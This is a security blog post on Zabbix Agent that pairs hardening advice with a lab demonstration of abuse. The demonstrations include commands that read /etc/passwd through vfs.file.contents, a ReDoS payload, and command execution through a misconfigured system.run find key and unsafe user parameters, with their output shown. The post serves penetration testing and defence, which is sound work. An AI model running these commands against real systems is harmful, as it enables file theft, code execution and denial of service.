Zabbix Agent Security

by Peter Magnusson 2023-11-01

Zabbix is a fairly popular monitoring tool used in many different organizations. Zabbix deployments range from client/endpoint monitoring to high end data centers, and everything in between.

Being very powerful and easily misconfigured, Zabbix should be an interesting target in penetration tests and security audits. An adversary may utilize Zabbix to enable lateral movement, privilege escalation and other attack tactics.

This blog post aims to introduce attack vectors for penetration testers and researchers, as well as hardening advice for defenders.

Zabbix: a brief introduction
Zabbix Agent: why it may be a security threat
Securing Zabbix Agent
Security resources for defenders
Attacking Zabbix Agent
Conclusions
APPENDIX: Testing Zabbix Agent in Docker

Zabbix: a brief introduction

Zabbix is built upon many components, including:

Zabbix Frontend (Web user interface)
Zabbix Server (a server component)
Zabbix Agent (the monitoring agent running on monitored subsystems)

In particular, Zabbix Agent is a very interesting target. Zabbix Agent can either be provided using zabbix_agentd (C implementation) or zabbix_agent2 (go implementation).

Zabbix Agent: why it may be a security threat

Looking at Zabbix Agent configuration options and powerful capabilities we find interesting attack vectors:

Zabbix Agent can be configured to listen to network, localhost or similar. Zabbix Agent is typically listening to port 10050 ("passive checks"). This port may be easily exploitable in some configurations.
Zabbix Agent can be configured to run "active checks", which exposed through Zabbix Server (typically port 10051) and indirectly also over the Zabbix Web Frontend, Zabbix API. I.e. attacks may be launched from the admin interfaces.
Zabbix Agent can be configured to accept any connection, without any authentication.
Zabbix Agent executes checks (often referred to as key) from the network. This is somewhat similar to query languages like SQL: you provide a text "query" with the effect that some action is performed by the agent.
Zabbix Agent checks / keys exposes file access and code/shell execution functions. 🙀

Moreover, some MITRE ATT&CK tactics that may utilize Zabbix Agent, are:

Initial Access: Very unlikely; Zabbix Agent should not be widely exposed to remote networks.
Lateral Movement: Moving from one computer to another using the Zabbix Agent. Limiting network exposure of Zabbix Agent is important to reduce how effective it is for enabling lateral movement.
Execution: Whilst typically not providing code execution in default configurations, Zabbix Agent can be configured to provide this. Intentionally exposed programs, commands could also expose script programming bugs.
Privilege Escalation: run code / file queries as local user zabbix.
Persistence: Attackers may reconfigure Zabbix Agent to enable simple returns to the compromised system. If attackers take care to make their backdoor look like a valid configuration, it could easily be ignored or missed by the blue team (administrators, incident responders, forensics or auditors).
Credential Access, Discovery, Collection and various other post-exploitation tactics: File read and Execute capabilities exposed by Zabbix Agent may allow File discovery, OS discovery, collecting sensitive configuration files/passwords, etc. If Zabbix Agent is running on the Zabbix Server, attackers may attempt to read the Zabbix Server configuration.

Securing Zabbix Agent

Some quick advice for restricting and securing the Zabbix Agent are as follows:

Read Best practices for secure Zabbix setup!
Disallow dangerous keys!
- Read Restricting agent checks
- vfs.* (don't let attackers access the file system)
- system.run[*] (default. Also be extremely careful about adding any command to the AllowKey list)
- (This list may be incomplete, a subject for further investigation if anyone is interested!)
User permissions: Zabbix Agent should run as the zabbix user, or some other low privileged user.
- Any permission granted to zabbix may be abused using Zabbix Agent.
- Any secret or configuration file accessible to zabbix could be stolen.
- Managing local file system security, umask and similar is very important on machines monitored by Zabbix Agent.
- Review which group the Zabbix Agent runs as (in the example container, Zabbix has root group permissions 😬).
File access: Disallow the Zabbix Agent process from accessing arbitrary files.
- Denying access to vfs.file keys and verify that denial rules are effective.
- Advanced security administrators may also consider restricting Zabbix Agent further using anti-exploitation / Mandatory Access Control (MAC) frameworks such as AppArmor, SELinux or similar. If the Zabbix Agent cannot access sensitive files, a misconfiguration or vulnerability cannot be abused.
Timeout should be set to 1 second to reduce the amount of time for a Denial of Service exploit can affect the system.
UserParameter: avoid configuring user parameters if not necessary, unless you are certain your scripts don't expose secrets and are not exploitable.
- UnsafeUserParameters should be kept in default 0 - do not allow. This mitigates some attacks against shell and script vulnerabilities.
Network Access
- Server and ServerActive: only list trusted server IPs as allowed to connect.
  - Server=zabbix-server or Server=127.0.0.1,192.168.1.0/24,::1,2001:db8::/32,zabbix.example.com are common example configurations.
  - Consider disallow localhost (127.0.0.1, ::1), to prevent local privilege escalation attacks. Unless monitoring from localhost is necessary.
  - Trusting a system based on IP only has its limitations.
  - Any user of the system with the trusted IP address could send queries.
  - IP addresses are not trustworthy and may be spoofed by attackers. Especially in local area networks (LAN) attackers may succeed in IP spoofing using e.g. ARP spoofing or other spoofing / Man-in-the-Middle attacks. I.e. attacker may try to claim the IP address of the Zabbix Server to circumvent the IP address based restrictions.
- Disable anonymous access: review TLS, PSK options; can you disable anonymous access to Zabbix?
Log level: consider which log level your detection/logging requires.
- By default (3, warnings) the Zabbix log is effectively silent during creative hacking attempts, even if the attacker is generating several illegal file accesses, timeouts etc.

Security resources for defenders

Best practices for secure Zabbix setup provides install / configuration security advice.
Zabbix Agent configuration explains the different configuration options.
Restricting agent checks explains how to disallow dangerous keys.
Zabbix Security Advisories and CVE database: a very good inventory over known vulnerabilities, often containing links to fixing commits. Ensure you agents are running the most recent/secure version.

Attacking Zabbix Agent

So: how does an attacker actually abuse Zabbix Agent?

Attack tooling

The zabbix_get tool is very useful, can be compiled into static binaries which are portable between different environments.
Payloads from zabbix_get can also be extracted using Wireshark to generate small binary files to be sent by netcat, e.g. cat payload.bin | nc -w2 target 10050.
Checks can also be launched from the Zabbix Frontend (web GUI) or Zabbix API, if you have sufficient permissions.

Local file access: vfs.file.contents

The item key vfs.file.contents can access almost all local files, that the zabbix user can access.

/usr/bin/zabbix_get -s 127.0.0.1 -k 'vfs.file.contents[/etc/passwd]'

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
zabbix:x:1997:1995:Zabbix monitoring system:/var/lib/zabbix/:/sbin/nologin

Regular Expression Denial of Service: vfs.file.regexp

The vfs.file.regexp item key can include Denial of Service payloads, designed to consume CPU and I/O resources. If an attacker knows the location of a large file, Regular Expression Denial of Service (ReDoS) attacks are possible;

time /usr/bin/zabbix_get -s 127.0.0.1 -k 'vfs.file.regexp[/var/lib/zabbix/1g.img,"((a+)+)AAAA",,,,\1]'

ZBX_NOTSUPPORTED: Timeout while processing item.
real  0m3.002s
user  0m0.000s
sys   0m0.002s

Effectively an attacker need only invest 2 micro seconds to cause 3 seconds of work, which is a pretty good Denial of Service vector.

We put a large (1GB) file on a known location to make the exploit easy:

dd if=/dev/urandom of=/var/lib/zabbix/1g.img bs=1K count=1M

1048576+0 records in
1048576+0 records out
1073741824 bytes (1.1 GB, 1.0 GiB) copied, 9.88547 s, 109 MB/s

Executing commands: system.run

Zabbix Agent by default disables all system.run keys to mitigate attacks.

Zabbix Agent can be misconfigured to be insecure, enabling adversaries to exploit system.run keys. For example, exposing a unix command like find with execution capabilities may lead to compromise:

egrep ^AllowKey /etc/zabbix/zabbix_agentd.conf

AllowKey=system.run[find *]

/usr/bin/zabbix_get -s 127.0.0.1 -k 'system.run[find -exec id \;]'

uid=1997(zabbix) gid=1995(zabbix) groups=1995(zabbix),0(root)
uid=1997(zabbix) gid=1995(zabbix) groups=1995(zabbix),0(root)
uid=1997(zabbix) gid=1995(zabbix) groups=1995(zabbix),0(root)

User Parameters and UnsafeUserParameters enabling script execution breakouts

Custom keys can be bound using the UserParameter configuration option. User parameters may expose script / programming errors for exploitation.

By default, UnsafeUserParameters is set to 0 and removes most special characters, which makes many attack techniques difficult. Special characters blocked by default:

\ ' " ` * ? [ ] { } ~ $ ! & ; ( ) < > | # @

In this example we simulate a misconfiguration in which unsafe parameters are allowed into the vulnerable find key. First, we verify that unsafe parameters are in effect:

vi /etc/zabbix/zabbix_agentd.conf
egrep '^(Unsafe)?UserParameter' /etc/zabbix/zabbix_agentd.conf

UnsafeUserParameters=1
UserParameter=whoami,whoami
UserParameter=find[*],find $1 $2 $3 $4

We then reload the agent's user parameters:

zabbix_agentd -R userparameter_reload

zabbix_agentd [117]: command sent successfully

We run the whoami command to check the user context of the Zabbix process:

/usr/bin/zabbix_get -s 127.0.0.1 -k 'whoami'

zabbix

Ultimately, we exploit the unsafe user parameters by calling the key find with the -exec id; argument, which results in the id command being run:

/usr/bin/zabbix_get -s 127.0.0.1 -k 'find[-exec,id,\;]'

uid=1997(zabbix) gid=1995(zabbix) groups=1995(zabbix),0(root)
uid=1997(zabbix) gid=1995(zabbix) groups=1995(zabbix),0(root)
uid=1997(zabbix) gid=1995(zabbix) groups=1995(zabbix),0(root)
uid=1997(zabbix) gid=1995(zabbix) groups=1995(zabbix),0(root)

Conclusions

We have demonstrated that Zabbix Agent is very interesting from a security point of view and - if misconfigured - it can be insecure/dangerous.

Key takeaways:

Zabbix Agent provides a very large and interesting attack surface.
Zabbix Agent historically hasn't been highlighted enough among penetration testers.
Zabbix Agent provides security by default on some options, for example system.run being denied.
Zabbix Agent does not provide security by default on vfs.file keys providing access to local file system.
Zabbix Agent is widely deployed in various environments. Configuration issues differ between different environments.
Zabbix Agent ticks many different ATT&CK framework boxes, being very useful to attackers:
- Lateral Movement (or, less likely, Initial Compromise)
- Execution
- Privilege Escalation (locally escalate from your own account to the zabbix account)
- Persistence
- Credential Access, Discovery, Collection (explore your system and steal your secrets)

We would love to get comments, questions and general feedback on this blog post! Don't hesitate to contact us!

APPENDIX: Testing Zabbix Agent in Docker

Pull the latest Zabbix Agent:

docker pull zabbix/zabbix-agent

Start Zabbix Agent, expecting 127.0.0.1 for connections (insecure):

docker run --env ZBX_SERVER_HOST=127.0.0.1 zabbix/zabbix-agent

Container startup output:

** Preparing Zabbix agent
** Preparing Zabbix agent configuration file
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "PidFile": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "LogType": 'console'...added
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "LogFile": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "LogFileSize": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "DebugLevel": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "SourceIP": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "LogRemoteCommands": ''...removed
** Using '127.0.0.1' servers for passive checks
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "Server": '127.0.0.1'...updated
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "ListenPort": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "ListenIP": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "ListenBacklog": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "StartAgents": ''...removed
** Using '127.0.0.1:10051' servers for active checks
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "ServerActive": '127.0.0.1:10051'...updated
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "HeartbeatFrequency": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "HostInterface": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "HostInterfaceItem": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "Hostname": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "HostnameItem": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "HostMetadata": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "HostMetadataItem": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "RefreshActiveChecks": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "BufferSend": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "BufferSize": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "MaxLinesPerSecond": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "Timeout": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "Include": '/etc/zabbix/zabbix_agentd.d/*.conf'...added first occurrence
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "UnsafeUserParameters": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "LoadModulePath": '/var/lib/zabbix/modules/'...added
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "TLSConnect": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "TLSAccept": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "TLSCAFile": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "TLSCRLFile": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "TLSServerCertIssuer": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "TLSServerCertSubject": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "TLSCertFile": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "TLSCipherAll": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "TLSCipherAll13": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "TLSCipherCert": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "TLSCipherCert13": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "TLSCipherPSK": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "TLSCipherPSK13": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "TLSKeyFile": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "TLSPSKIdentity": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "TLSPSKFile": ''...removed
** Updating '/etc/zabbix/zabbix_agentd.conf' parameter "User": 'zabbix'...added
Starting Zabbix Agent [1c95b7701dd3]. Zabbix 6.4.7 (revision 2ac2006).
Press Ctrl+C to exit.

     7:20231027:125459.474 Starting Zabbix Agent [1c95b7701dd3]. Zabbix 6.4.7 (revision 2ac2006).
     7:20231027:125459.474 **** Enabled features ****
     7:20231027:125459.474 IPv6 support:          YES
     7:20231027:125459.474 TLS support:           YES
     7:20231027:125459.474 **************************
     7:20231027:125459.474 using configuration file: /etc/zabbix/zabbix_agentd.conf
     7:20231027:125459.474 agent #0 started [main process]
    80:20231027:125459.475 agent #1 started [collector]
    81:20231027:125459.475 agent #2 started [listener #1]
    82:20231027:125459.476 agent #3 started [listener #2]
    83:20231027:125459.476 agent #4 started [listener #3]
    84:20231027:125459.477 agent #5 started [active checks #1]
    84:20231027:125459.483 Unable to connect to [127.0.0.1]:10051 [cannot connect to [[127.0.0.1]:10051]: [111] Connection refused]
    84:20231027:125459.483 Unable to send heartbeat message to [127.0.0.1]:10051 [cannot connect to [[127.0.0.1]:10051]: [111] Connection refused]
    84:20231027:125459.483 Unable to connect to [127.0.0.1]:10051 [cannot connect to [[127.0.0.1]:10051]: [111] Connection refused]
    84:20231027:125459.483 Active check configuration update started to fail

Execute into the container:

docker ps

CONTAINER ID   IMAGE                 COMMAND                  CREATED         STATUS         PORTS       NAMES
45533ff1405f   zabbix/zabbix-agent   "/sbin/tini -- /usr/…"   2 minutes ago   Up 2 minutes   10050/tcp   nice_shockley

docker exec -it nice_shockley bash

Fun things to start with inside the container:

find / -iname "*zabbix*" 2>/dev/null

/usr/sbin/zabbix_agentd
/usr/bin/zabbix_sender
/usr/bin/zabbix_get
/etc/zabbix
/etc/zabbix/zabbix_agentd.conf
/etc/zabbix/zabbix_agentd.d
/tmp/zabbix_agentd.pid
/var/lib/zabbix

You may also choose to start the container with some of the default security protections removed, making it less secure:

docker run \
  --env ZBX_SERVER_HOST=127.0.0.1 \
  --env ZBX_UNSAFEUSERPARAMETERS=1 \
  --env ZBX_ALLOWKEY='system.run[find *]' \
  zabbix/zabbix-agent

Important setting for fudging up your docker, making it insecure:

ZBX_SERVER_HOST : Let an untrusted server connect to your agent.
ZBX_UNSAFEUSERPARAMETERS: hey who needs security in defense? Let my bugs be vulnerabilities!
ZBX_ALLOWKEY: I want to live dangerously. Lets allow this!